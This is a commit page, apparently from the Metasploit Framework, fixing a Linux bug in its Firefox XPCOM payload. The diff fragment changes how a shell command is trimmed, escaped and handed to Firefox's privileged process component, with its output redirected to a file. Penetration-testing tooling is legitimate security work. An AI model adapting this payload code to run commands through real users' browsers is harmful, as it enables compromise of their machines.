Land #4702, Fix bug in Firefox XPCOM payload on Linux

bug/bundler_fix sprint-G02
sinn3r 2015-02-03 21:36:01 -06:00
commit df22ed2132
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
1 changed files with 3 additions and 1 deletions

View File

@ -175,14 +175,16 @@ module Msf::Payload::Firefox
stdout.append(stdoutFile);
var shell;
cmd = cmd.trim();
if (windows) {
shell = shPath+" "+cmd.trim();
shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]